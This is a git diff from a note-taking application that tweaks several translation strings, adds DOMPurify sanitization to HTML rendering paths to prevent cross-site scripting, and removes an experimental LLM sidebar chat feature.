"web-view": "Widok WWW",
"mind-map": "Mapa myśli",
"file": "Plik",
"image": "Obraz",
@@ -1816,9 +1815,9 @@
"modal_title": "Konfiguracja listy wyróżnień",
"menu_configure": "Konfiguracja listy wyróżnień...",
"no_highlights": "Nie znaleziono wyróżnień.",
"title_with_count_one": "{{count}} wyróżnienie",
"title_with_count_few": "{{count}} wyróżnienia",
"title_with_count_many": "{{count}} wyróżnień"
"title_with_count_one": "{{count}} podświetlenie",
"title_with_count_few": "{{count}} podświetlenia",
"title_with_count_many": "{{count}} podświetleń"
},
"quick-search": {
"placeholder": "Szybkie wyszukiwanie",
@@ -2071,7 +2070,7 @@
"read_only_temporarily_disabled_description": "Ta notatka jest obecnie edytowalna, ale normalnie jest tylko do odczytu. Notatka powróci do trybu tylko do odczytu, gdy tylko przejdziesz do innej notatki.\n\nKliknij, aby ponownie włączyć tryb tylko do odczytu.",
"shared_publicly": "Udostępniona publicznie",
"shared_locally": "Udostępniona lokalnie",
"clipped_note": "Wycinek z sieci",
"clipped_note": "Wycinek WWW",
"clipped_note_description": "Ta notatka została pierwotnie pobrana z {{url}}.\n\nKliknij, aby przejść do źródłowej strony internetowej.",
"execute_script": "Uruchom skrypt",
"execute_script_description": "Ta notatka jest notatką skryptową. Kliknij, aby wykonać skrypt.",
@@ -2237,7 +2236,7 @@
"sample_c4": "C4",
"sample_gantt": "Wykres Gantta",
"sample_git": "Diagram Git",
"sample_kanban": "Tablica Kanban",
"sample_kanban": "Kanban",
"sample_packet": "Diagram pakietów",
"sample_pie": "Wykres kołowy",
"sample_quadrant": "Diagram kwadrantowy",

View File

@@ -875,7 +875,7 @@
"print_note": "Imprimare notiță",
"re_render_note": "Reinterpretare notiță",
"save_revision": "Salvează o nouă revizie",
"advanced": "Avansat",
"advanced": "Advansat",
"search_in_note": "Caută în notiță",
"convert_into_attachment_failed": "Nu s-a putut converti notița „{{title}}”.",
"convert_into_attachment_successful": "Notița „{{title}}” a fost convertită în atașament.",

View File

@@ -2226,7 +2226,7 @@
"sample_sankey": "桑基圖",
"sample_timeline": "時間軸",
"sample_treemap": "樹狀圖",
"sample_user_journey": "使用者旅程",
"sample_user_journey": "用戶旅程",
"sample_xy": "XY 圖表",
"sample_venn": "韋恩圖",
"sample_ishikawa": "魚骨圖"

View File

@@ -4,6 +4,7 @@ import type FNote from "../../../entities/fnote";
import type { PrintReport } from "../../../print";
import content_renderer from "../../../services/content_renderer";
import froca from "../../../services/froca";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import type { ViewModeProps } from "../interface";
import { filterChildNotes, useFilteredNoteIds } from "./utils";
@@ -87,7 +88,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
<h1>{note.title}</h1>
{state.notesWithContent?.map(({ note: childNote, contentEl }) => (
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
))}
</div>
</div>

View File

@@ -1,6 +1,7 @@
import { NoteType } from "@triliumnext/commons";
import FNote from "../../../entities/fnote";
import contentRenderer from "../../../services/content_renderer";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import { ProgressChangedFn } from "../interface";
type DangerouslySetInnerHTML = { __html: string; };
@@ -72,7 +73,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
noChildrenList: true
});
return { __html: $renderedContent.html() };
return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
}
async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {

View File

@@ -13,6 +13,27 @@ import katex from "../services/math.js";
import options from "../services/options.js";
import OnClickButtonWidget from "./buttons/onclick_button.js";
import RightPanelWidget from "./right_panel_widget.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for highlight list items. Only allows inline
* formatting tags that appear in highlighted text (bold, italic, underline,
* colored/background-colored spans, KaTeX math output).
*/
const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small", "a",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="highlights-list-widget">
<style>
@@ -255,7 +276,7 @@ export default class HighlightsListWidget extends RightPanelWidget {
if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
// If the previous element is connected to this element in HTML, then concatenate them into one.
$highlightsList.children().last().append(subHtml);
$highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
} else {
// TODO: can't be done with $(subHtml).text()?
//Cant remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
@@ -267,12 +288,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
//If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
const $lastLi = $highlightsList.children("li").last();
$lastLi.append(await this.replaceMathTextWithKatax(substring));
$lastLi.append(subHtml);
$lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
$lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
} else {
$highlightsList.append(
$("<li>")
.html(subHtml)
.html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
.on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
);
}

View File

@@ -1,7 +1,6 @@
import { useCallback, useLayoutEffect, useState } from "preact/hooks";
import FNote from "../../entities/fnote";
import { isExperimentalFeatureEnabled } from "../../services/experimental_features";
import froca from "../../services/froca";
import { isDesktop, isMobile } from "../../services/utils";
import TabSwitcher from "../mobile_widgets/TabSwitcher";
@@ -13,7 +12,6 @@ import HistoryNavigationButton from "./HistoryNavigation";
import { LaunchBarContext } from "./launch_bar_widgets";
import { CommandButton, CustomWidget, NoteLauncher, QuickSearchLauncherWidget, ScriptLauncher, TodayLauncher } from "./LauncherDefinitions";
import ProtectedSessionStatusWidget from "./ProtectedSessionStatusWidget";
import SidebarChatButton from "./SidebarChatButton";
import SpacerWidget from "./SpacerWidget";
import SyncStatus from "./SyncStatus";
@@ -100,8 +98,6 @@ function initBuiltinWidget(note: FNote, isHorizontalLayout: boolean) {
return <QuickSearchLauncherWidget />;
case "mobileTabSwitcher":
return <TabSwitcher />;
case "sidebarChat":
return isExperimentalFeatureEnabled("llm") ? <SidebarChatButton /> : undefined;
default:
console.warn(`Unrecognized builtin widget ${builtinWidget} for launcher ${note.noteId} "${note.title}"`);
}

View File

@@ -1,24 +0,0 @@
import { useCallback } from "preact/hooks";
import appContext from "../../components/app_context";
import { t } from "../../services/i18n";
import { LaunchBarActionButton } from "./launch_bar_widgets";
/**
* Launcher button to open the sidebar (which contains the chat).
* The chat widget is always visible in the sidebar for non-chat notes.
*/
export default function SidebarChatButton() {
const handleClick = useCallback(() => {
// Open right pane if hidden, or toggle it if visible
appContext.triggerEvent("toggleRightPane", {});
}, []);
return (
<LaunchBarActionButton
icon="bx bx-message-square-dots"
text={t("sidebar_chat.launcher_title")}
onClick={handleClick}
/>
);
}

View File

@@ -5,7 +5,6 @@ import { useEffect, useMemo, useState } from "preact/hooks";
import FNote from "../../entities/fnote";
import attributes from "../../services/attributes";
import { isExperimentalFeatureEnabled } from "../../services/experimental_features";
import froca from "../../services/froca";
import { t } from "../../services/i18n";
import { NOTE_TYPES, NoteTypeMapping } from "../../services/note_types";
@@ -29,7 +28,6 @@ export default function NoteTypeSwitcher() {
const restNoteTypes: NoteTypeMapping[] = [];
for (const noteType of NOTE_TYPES) {
if (noteType.reserved || noteType.static || noteType.type === "book") continue;
if (noteType.type === "llmChat" && !isExperimentalFeatureEnabled("llm")) continue;
if (SWITCHER_PINNED_NOTE_TYPES.has(noteType.type)) {
pinnedNoteTypes.push(noteType);
} else {

View File

@@ -12,7 +12,7 @@ import { TypeWidgetProps } from "./type_widgets/type_widget";
* A `NoteType` altered by the note detail widget, taking into consideration whether the note is editable or not and adding special note types such as an empty one,
* for protected session or attachment information.
*/
export type ExtendedNoteType = Exclude<NoteType, "launcher" | "text" | "code" | "llmChat"> | "empty" | "readOnlyCode" | "readOnlyText" | "editableText" | "editableCode" | "attachmentDetail" | "attachmentList" | "protectedSession" | "sqlConsole" | "llmChat";
export type ExtendedNoteType = Exclude<NoteType, "launcher" | "text" | "code"> | "empty" | "readOnlyCode" | "readOnlyText" | "editableText" | "editableCode" | "attachmentDetail" | "attachmentList" | "protectedSession" | "sqlConsole";
export type TypeWidget = ((props: TypeWidgetProps) => VNode | JSX.Element | undefined);
type NoteTypeView = () => (Promise<{ default: TypeWidget } | TypeWidget> | TypeWidget);
@@ -147,11 +147,5 @@ export const TYPE_MAPPINGS: Record<ExtendedNoteType, NoteTypeMapping> = {
className: "note-detail-spreadsheet",
printable: true,
isFullHeight: true
},
llmChat: {
view: () => import("./type_widgets/llm_chat/LlmChat"),
className: "note-detail-llm-chat",
printable: true,
isFullHeight: true
}
};

View File

@@ -5,27 +5,16 @@ interface FormDropdownList<T> extends Omit<DropdownProps, "children"> {
values: T[];
keyProperty: keyof T;
titleProperty: keyof T;
/** Property to show as a small suffix next to the title */
titleSuffixProperty?: keyof T;
descriptionProperty?: keyof T;
currentValue: string;
onChange(newValue: string): void;
}
export default function FormDropdownList<T>({ values, keyProperty, titleProperty, titleSuffixProperty, descriptionProperty, currentValue, onChange, ...restProps }: FormDropdownList<T>) {
export default function FormDropdownList<T>({ values, keyProperty, titleProperty, descriptionProperty, currentValue, onChange, ...restProps }: FormDropdownList<T>) {
const currentValueData = values.find(value => value[keyProperty] === currentValue);
const renderTitle = (item: T) => {
const title = item[titleProperty] as string;
const suffix = titleSuffixProperty ? item[titleSuffixProperty] as string : null;
if (suffix) {
return <>{title} <small>{suffix}</small></>;
}
return title;
};
return (
<Dropdown text={currentValueData ? renderTitle(currentValueData) : ""} {...restProps}>
<Dropdown text={currentValueData?.[titleProperty] ?? ""} {...restProps}>
{values.map(item => (
<FormListItem
onClick={() => onChange(item[keyProperty] as string)}
@@ -33,9 +22,9 @@ export default function FormDropdownList<T>({ values, keyProperty, titleProperty
description={descriptionProperty && item[descriptionProperty] as string}
selected={currentValue === item[keyProperty]}
>
{renderTitle(item)}
{item[titleProperty] as string}
</FormListItem>
))}
</Dropdown>
)
}
}

View File

@@ -1,6 +1,7 @@
import DOMPurify from "dompurify";
import type { CSSProperties, HTMLProps, RefObject } from "preact/compat";
import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
type HTMLElementLike = string | HTMLElement | JQuery<HTMLElement>;
interface RawHtmlProps extends Pick<HTMLProps<HTMLElement>, "tabindex" | "dir"> {
@@ -15,16 +16,16 @@ export default function RawHtml({containerRef, ...props}: RawHtmlProps & { conta
}
export function RawHtmlBlock({containerRef, ...props}: RawHtmlProps & { containerRef?: RefObject<HTMLDivElement>}) {
return <div ref={containerRef} {...getProps(props)} />;
return <div ref={containerRef} {...getProps(props)} />
}
function getProps({ className, html, style, onClick }: RawHtmlProps) {
return {
className,
className: className,
dangerouslySetInnerHTML: getHtml(html ?? ""),
style,
onClick
};
}
}
export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
@@ -37,22 +38,6 @@ export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
}
return {
__html: html as string
__html: sanitizeNoteContentHtml(html as string)
};
}
/**
* Renders HTML content sanitized via DOMPurify to prevent XSS.
* Use this instead of {@link RawHtml} when the HTML originates from
* untrusted sources (e.g. LLM responses, user-generated markdown).
*/
export function SanitizedHtml({ className, html, style }: { className?: string; html: string; style?: CSSProperties }) {
return (
<div
className={className}
style={style}
// eslint-disable-next-line react/no-danger
dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }}
/>
);
}

View File

@@ -104,7 +104,7 @@ export interface SavedData {
export function useEditorSpacedUpdate({ note, noteType, noteContext, getData, onContentChange, dataSaved, updateInterval }: {
noteType: NoteType;
note: FNote | null | undefined,
note: FNote,
noteContext: NoteContext | null | undefined,
getData: () => Promise<SavedData | undefined> | SavedData | undefined,
onContentChange: (newContent: string) => void,
@@ -118,8 +118,8 @@ export function useEditorSpacedUpdate({ note, noteType, noteContext, getData, on
return async () => {
const data = await getData();
// for read only notes, or if note is not yet available (e.g. lazy creation)
if (data === undefined || !note || note.type !== noteType) return;
// for read only notes
if (data === undefined || note.type !== noteType) return;
protected_session_holder.touchProtectedSessionIfNecessary(note);
@@ -138,7 +138,7 @@ export function useEditorSpacedUpdate({ note, noteType, noteContext, getData, on
// React to note/blob changes.
useEffect(() => {
if (!blob || !note) return;
if (!blob) return;
noteSavedDataStore.set(note.noteId, blob.content);
spacedUpdate.allowUpdateWithoutChange(() => onContentChange(blob.content));
}, [ blob ]);

View File

@@ -7,7 +7,6 @@ import branches from "../../services/branches";
import dialog from "../../services/dialog";
import { getAvailableLocales, t } from "../../services/i18n";
import mime_types from "../../services/mime_types";
import { isExperimentalFeatureEnabled } from "../../services/experimental_features";
import { NOTE_TYPES } from "../../services/note_types";
import protected_session from "../../services/protected_session";
import server from "../../services/server";
@@ -73,7 +72,7 @@ export function NoteTypeDropdownContent({ currentNoteType, currentNoteMime, note
noCodeNotes?: boolean;
}) {
const mimeTypes = useMimeTypes();
const noteTypes = useMemo(() => NOTE_TYPES.filter((nt) => !nt.reserved && !nt.static && (nt.type !== "llmChat" || isExperimentalFeatureEnabled("llm"))), []);
const noteTypes = useMemo(() => NOTE_TYPES.filter((nt) => !nt.reserved && !nt.static), []);
const changeNoteType = useCallback(async (type: NoteType, mime?: string) => {
if (!note || (type === currentNoteType && mime === currentNoteMime)) {
return;

View File

@@ -85,7 +85,7 @@ export function NoteContextMenu({ note, noteContext, itemsAtStart, itemsNearNote
);
const isElectron = getIsElectron();
const isMac = getIsMac();
const hasSource = ["text", "code", "relationMap", "mermaid", "canvas", "mindMap", "spreadsheet", "llmChat"].includes(noteType);
const hasSource = ["text", "code", "relationMap", "mermaid", "canvas", "mindMap", "spreadsheet"].includes(noteType);
const isSearchOrBook = ["search", "book"].includes(noteType);
const isHelpPage = note.noteId.startsWith("_help");
const [syncServerHost] = useTriliumOption("syncServerHost");

View File

@@ -7,7 +7,6 @@ import { useCallback, useEffect, useRef, useState } from "preact/hooks";
import appContext from "../../components/app_context";
import { WidgetsByParent } from "../../services/bundle";
import { isExperimentalFeatureEnabled } from "../../services/experimental_features";
import { t } from "../../services/i18n";
import options from "../../services/options";
import { DEFAULT_GUTTER_SIZE } from "../../services/resizer";
@@ -20,7 +19,6 @@ import PdfAttachments from "./pdf/PdfAttachments";
import PdfLayers from "./pdf/PdfLayers";
import PdfPages from "./pdf/PdfPages";
import RightPanelWidget from "./RightPanelWidget";
import SidebarChat from "./SidebarChat";
import TableOfContents from "./TableOfContents";
const MIN_WIDTH_PERCENT = 5;
@@ -93,11 +91,6 @@ function useItems(rightPaneVisible: boolean, widgetsByParent: WidgetsByParent) {
el: <HighlightsList />,
enabled: noteType === "text" && highlightsList.length > 0,
},
{
el: <SidebarChat />,
enabled: noteType !== "llmChat" && isExperimentalFeatureEnabled("llm"),
position: 1000
},
...widgetsByParent.getLegacyWidgets("right-pane").map((widget) => ({
el: <CustomLegacyWidget key={widget._noteId} originalWidget={widget as LegacyRightPanelWidget} />,
enabled: true,

View File

@@ -51,7 +51,7 @@ export default function RightPanelWidget({ id, title, buttons, children, contain
>
<ActionButton icon="bx bx-chevron-down" text="" />
<div class="card-header-title">{title}</div>
<div class="card-header-buttons" onClick={e => e.stopPropagation()}>
<div class="card-header-buttons">
{buttons}
{contextMenuItems && (
<ActionButton

View File

@@ -1,113 +0,0 @@
/* Sidebar Chat Widget Styles */
.sidebar-chat-container {
display: flex;
flex-direction: column;
flex: 1;
min-height: 0; /* Allow shrinking in flex context */
overflow: hidden; /* Contain children within available space */
}
.sidebar-chat-container .llm-chat-input-form {
flex-shrink: 0; /* Keep input bar from shrinking */
.llm-chat-input {
font-size: 0.9em;
padding: 0.5em;
}
}
.sidebar-chat-messages {
flex: 1;
min-height: 0; /* Allow flex shrinking for scroll containment */
overflow-y: auto;
padding: 0.5rem;
display: flex;
flex-direction: column;
gap: 0.5rem;
}
/* Reuse llm-chat-message styles but make them more compact */
.sidebar-chat-messages .llm-chat-message-wrapper {
margin-top: 0;
max-width: 100%;
}
.sidebar-chat-messages .llm-chat-message {
padding: 0.5rem 0.75rem;
font-size: 0.9rem;
}
.sidebar-chat-messages .llm-chat-message-role {
font-size: 0.75rem;
}
.sidebar-chat-messages .llm-chat-tool-activity {
font-size: 0.85rem;
padding: 0.375rem 0.75rem;
margin-bottom: 0;
max-width: 100%;
}
/* Make the sidebar chat widget grow to fill available space when expanded */
#right-pane .widget.grow:not(.collapsed) {
flex: 1;
flex-shrink: 1; /* Override flex-shrink: 0 from main styles */
min-height: 0;
display: flex;
flex-direction: column;
}
#right-pane .widget.grow:not(.collapsed) .body-wrapper {
flex: 1;
min-height: 0;
display: flex;
flex-direction: column;
overflow: hidden; /* Override overflow: auto from main styles */
}
#right-pane .widget.grow:not(.collapsed) .card-body {
flex: 1;
min-height: 0;
overflow: hidden; /* Override overflow: auto - let child handle scrolling */
display: flex;
flex-direction: column;
}
/* Compact markdown in sidebar */
.sidebar-chat-messages .llm-chat-markdown {
font-size: 0.9rem;
line-height: 1.5;
}
.sidebar-chat-messages .llm-chat-markdown p {
margin: 0 0 0.5em 0;
}
.sidebar-chat-messages .llm-chat-markdown pre {
padding: 0.5rem;
font-size: 0.8rem;
}
.sidebar-chat-messages .llm-chat-markdown code {
font-size: 0.85em;
}
.sidebar-chat-history-item-content {
display: flex;
flex-direction: column;
min-width: 0;
}
.sidebar-chat-history-item-content span,
.sidebar-chat-history-item-content strong {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.sidebar-chat-history-date {
font-size: 0.75rem;
color: var(--muted-text-color);
margin-top: 0.125rem;
}

View File

@@ -1,335 +0,0 @@
import "./SidebarChat.css";
import type { Dropdown as BootstrapDropdown } from "bootstrap";
import { useCallback, useEffect, useRef, useState } from "preact/hooks";
import dateNoteService, { type RecentLlmChat } from "../../services/date_notes.js";
import { t } from "../../services/i18n.js";
import server from "../../services/server.js";
import { formatDateTime } from "../../utils/formatters";
import ActionButton from "../react/ActionButton.js";
import Dropdown from "../react/Dropdown.js";
import { FormListItem } from "../react/FormList.js";
import { useActiveNoteContext, useNote, useNoteProperty, useSpacedUpdate } from "../react/hooks.js";
import NoItems from "../react/NoItems.js";
import ChatInputBar from "../type_widgets/llm_chat/ChatInputBar.js";
import ChatMessage from "../type_widgets/llm_chat/ChatMessage.js";
import type { LlmChatContent } from "../type_widgets/llm_chat/llm_chat_types.js";
import { useLlmChat } from "../type_widgets/llm_chat/useLlmChat.js";
import RightPanelWidget from "./RightPanelWidget.js";
/**
* Sidebar chat widget that appears in the right panel.
* Uses a hidden LLM chat note for persistence across all notes.
* The same chat persists when switching between notes.
*
* Unlike the LlmChat type widget which receives a valid FNote from the
* framework, the sidebar creates notes lazily. We use useSpacedUpdate with
* a direct server.put (using the string noteId) instead of useEditorSpacedUpdate
* (which requires an FNote and silently no-ops when it's null).
*/
export default function SidebarChat() {
const [chatNoteId, setChatNoteId] = useState<string | null>(null);
const [recentChats, setRecentChats] = useState<RecentLlmChat[]>([]);
const historyDropdownRef = useRef<BootstrapDropdown | null>(null);
// Get the current active note context
const { noteId: activeNoteId, note: activeNote } = useActiveNoteContext();
// Reactively watch the chat note's title (updates via WebSocket sync after auto-rename)
const chatNote = useNote(chatNoteId);
const chatTitle = useNoteProperty(chatNote, "title") || t("sidebar_chat.title");
// Refs for stable access in the spaced update callback
const chatNoteIdRef = useRef(chatNoteId);
chatNoteIdRef.current = chatNoteId;
// Use shared chat hook with sidebar-specific options
const chat = useLlmChat(
// onMessagesChange - trigger save
() => spacedUpdate.scheduleUpdate(),
{ defaultEnableNoteTools: true, supportsExtendedThinking: true }
);
const chatRef = useRef(chat);
chatRef.current = chat;
// Save directly via server.put using the string noteId.
// This avoids the FNote dependency that useEditorSpacedUpdate requires.
const spacedUpdate = useSpacedUpdate(async () => {
const noteId = chatNoteIdRef.current;
if (!noteId) return;
const content = chatRef.current.getContent();
try {
await server.put(`notes/${noteId}/data`, {
content: JSON.stringify(content)
});
} catch (err) {
console.error("Failed to save chat:", err);
}
});
// Update chat context when active note changes
useEffect(() => {
chat.setContextNoteId(activeNoteId ?? undefined);
}, [activeNoteId, chat.setContextNoteId]);
// Sync chatNoteId into the hook for auto-title generation
useEffect(() => {
chat.setChatNoteId(chatNoteId ?? undefined);
}, [chatNoteId, chat.setChatNoteId]);
// Load the most recent chat on mount (runs once)
useEffect(() => {
let cancelled = false;
const loadMostRecentChat = async () => {
try {
const existingChat = await dateNoteService.getMostRecentLlmChat();
if (cancelled) return;
if (existingChat) {
setChatNoteId(existingChat.noteId);
// Load content
try {
const blob = await server.get<{ content: string }>(`notes/${existingChat.noteId}/blob`);
if (!cancelled && blob?.content) {
const parsed: LlmChatContent = JSON.parse(blob.content);
chatRef.current.loadFromContent(parsed);
}
} catch (err) {
console.error("Failed to load chat content:", err);
}
} else {
setChatNoteId(null);
chatRef.current.clearMessages();
}
} catch (err) {
console.error("Failed to load sidebar chat:", err);
}
};
loadMostRecentChat();
return () => {
cancelled = true;
};
}, []);
// Custom submit handler that ensures chat note exists first
const handleSubmit = useCallback(async (e: Event) => {
e.preventDefault();
if (!chat.input.trim() || chat.isStreaming) return;
// Ensure chat note exists before sending (lazy creation)
let noteId = chatNoteId;
if (!noteId) {
try {
const note = await dateNoteService.getOrCreateLlmChat();
if (note) {
setChatNoteId(note.noteId);
noteId = note.noteId;
}
} catch (err) {
console.error("Failed to create sidebar chat:", err);
return;
}
}
if (!noteId) {
console.error("Cannot send message: no chat note available");
return;
}
// Ensure the hook has the chatNoteId before submitting (state update from
// setChatNoteId above won't be visible until next render)
chat.setChatNoteId(noteId);
// Delegate to shared handler
await chat.handleSubmit(e);
}, [chatNoteId, chat]);
const handleKeyDown = useCallback((e: KeyboardEvent) => {
if (e.key === "Enter" && !e.shiftKey) {
e.preventDefault();
handleSubmit(e);
}
}, [handleSubmit]);
const handleNewChat = useCallback(async () => {
// Save any pending changes before switching
await spacedUpdate.updateNowIfNecessary();
try {
const note = await dateNoteService.createLlmChat();
if (note) {
setChatNoteId(note.noteId);
chatRef.current.clearMessages();
}
} catch (err) {
console.error("Failed to create new chat:", err);
}
}, [spacedUpdate]);
const handleSaveChat = useCallback(async () => {
if (!chatNoteId) return;
// Save any pending changes before moving the chat
await spacedUpdate.updateNowIfNecessary();
try {
await server.post("special-notes/save-llm-chat", { llmChatNoteId: chatNoteId });
// Create a new empty chat after saving
const note = await dateNoteService.createLlmChat();
if (note) {
setChatNoteId(note.noteId);
chatRef.current.clearMessages();
}
} catch (err) {
console.error("Failed to save chat to permanent location:", err);
}
}, [chatNoteId, spacedUpdate]);
const loadRecentChats = useCallback(async () => {
try {
const chats = await dateNoteService.getRecentLlmChats(10);
setRecentChats(chats);
} catch (err) {
console.error("Failed to load recent chats:", err);
}
}, []);
const handleSelectChat = useCallback(async (noteId: string) => {
historyDropdownRef.current?.hide();
if (noteId === chatNoteId) return;
// Save any pending changes before switching
await spacedUpdate.updateNowIfNecessary();
// Load the selected chat's content
try {
const blob = await server.get<{ content: string }>(`notes/${noteId}/blob`);
if (blob?.content) {
const parsed: LlmChatContent = JSON.parse(blob.content);
setChatNoteId(noteId);
chatRef.current.loadFromContent(parsed);
}
} catch (err) {
console.error("Failed to load selected chat:", err);
}
}, [chatNoteId, spacedUpdate]);
return (
<RightPanelWidget
id="sidebar-chat"
title={chatTitle}
grow
buttons={
<>
<ActionButton
icon="bx bx-plus"
text={t("sidebar_chat.new_chat")}
onClick={handleNewChat}
/>
<Dropdown
text=""
buttonClassName="bx bx-history"
title={t("sidebar_chat.history")}
iconAction
hideToggleArrow
dropdownContainerClassName="tn-dropdown-menu-scrollable"
dropdownOptions={{ popperConfig: { strategy: "fixed" } }}
dropdownRef={historyDropdownRef}
onShown={loadRecentChats}
>
{recentChats.length === 0 ? (
<FormListItem disabled>
{t("sidebar_chat.no_chats")}
</FormListItem>
) : (
recentChats.map(chatItem => (
<FormListItem
key={chatItem.noteId}
icon="bx bx-message-square-dots"
className={chatItem.noteId === chatNoteId ? "active" : ""}
onClick={() => handleSelectChat(chatItem.noteId)}
>
<div className="sidebar-chat-history-item-content">
{chatItem.noteId === chatNoteId
? <strong>{chatItem.title}</strong>
: <span>{chatItem.title}</span>}
<span className="sidebar-chat-history-date">
{formatDateTime(new Date(chatItem.dateModified), "short", "short")}
</span>
</div>
</FormListItem>
))
)}
</Dropdown>
<ActionButton
icon="bx bx-save"
text={t("sidebar_chat.save_chat")}
onClick={handleSaveChat}
disabled={chat.messages.length === 0}
/>
</>
}
>
<div className="sidebar-chat-container">
<div className="sidebar-chat-messages">
{chat.messages.length === 0 && !chat.isStreaming && (
<NoItems
icon="bx bx-conversation"
text={t("sidebar_chat.empty_state")}
/>
)}
{chat.messages.map(msg => (
<ChatMessage key={msg.id} message={msg} />
))}
{chat.toolActivity && !chat.streamingThinking && (
<div className="llm-chat-tool-activity">
<span className="llm-chat-tool-spinner" />
{chat.toolActivity}
</div>
)}
{chat.isStreaming && chat.streamingThinking && (
<ChatMessage
message={{
id: "streaming-thinking",
role: "assistant",
content: chat.streamingThinking,
createdAt: new Date().toISOString(),
type: "thinking"
}}
isStreaming
/>
)}
{chat.isStreaming && chat.streamingContent && (
<ChatMessage
message={{
id: "streaming",
role: "assistant",
content: chat.streamingContent,
createdAt: new Date().toISOString(),
citations: chat.pendingCitations.length > 0 ? chat.pendingCitations : undefined
}}
isStreaming
/>
)}
<div ref={chat.messagesEndRef} />
</div>
<ChatInputBar
chat={chat}
rows={2}
activeNoteId={activeNoteId ?? undefined}
activeNoteTitle={activeNote?.title}
onSubmit={handleSubmit}
onKeyDown={handleKeyDown}
/>
</div>
</RightPanelWidget>
);
}

View File

@@ -21,6 +21,27 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
import appContext, { type EventData } from "../components/app_context.js";
import katex from "../services/math.js";
import type FNote from "../entities/fnote.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for ToC headings. Only allows inline formatting
* tags that legitimately appear in headings (bold, italic, KaTeX math output).
* Blocks all event handlers, script tags, and dangerous attributes.
*/
const TOC_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="toc-widget">
<style>
@@ -337,7 +358,7 @@ export default class TocWidget extends RightPanelWidget {
//
const headingText = await this.replaceMathTextWithKatax(m[2]);
const $itemContent = $('<div class="item-content">').html(headingText);
const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG));
const $li = $("<li>").append($itemContent)
.on("click", () => this.jumpToHeading(headingIndex));
$ols[$ols.length - 1].append($li);

View File

@@ -14,12 +14,11 @@ import SyncOptions from "./options/sync";
import OtherSettings from "./options/other";
import InternationalizationOptions from "./options/i18n";
import AdvancedSettings from "./options/advanced";
import LlmSettings from "./options/llm";
import "./ContentWidget.css";
import { t } from "../../services/i18n";
import BackendLog from "./code/BackendLog";
export type OptionPages = "_optionsAppearance" | "_optionsShortcuts" | "_optionsTextNotes" | "_optionsCodeNotes" | "_optionsImages" | "_optionsSpellcheck" | "_optionsPassword" | "_optionsMFA" | "_optionsEtapi" | "_optionsBackup" | "_optionsSync" | "_optionsOther" | "_optionsLocalization" | "_optionsAdvanced" | "_optionsLlm";
export type OptionPages = "_optionsAppearance" | "_optionsShortcuts" | "_optionsTextNotes" | "_optionsCodeNotes" | "_optionsImages" | "_optionsSpellcheck" | "_optionsPassword" | "_optionsMFA" | "_optionsEtapi" | "_optionsBackup" | "_optionsSync" | "_optionsOther" | "_optionsLocalization" | "_optionsAdvanced";
const CONTENT_WIDGETS: Record<OptionPages | "_backendLog", (props: TypeWidgetProps) => JSX.Element> = {
_optionsAppearance: AppearanceSettings,
@@ -36,7 +35,6 @@ const CONTENT_WIDGETS: Record<OptionPages | "_backendLog", (props: TypeWidgetPro
_optionsOther: OtherSettings,
_optionsLocalization: InternationalizationOptions,
_optionsAdvanced: AdvancedSettings,
_optionsLlm: LlmSettings,
_backendLog: BackendLog
}

View File

@@ -4,10 +4,9 @@ import "./MindMap.css";
// allow node-menu plugin css to be bundled by webpack
import nodeMenu from "@mind-elixir/node-menu";
import { DISPLAYABLE_LOCALE_IDS } from "@triliumnext/commons";
import { snapdom } from "@zumer/snapdom";
import { t } from "i18next";
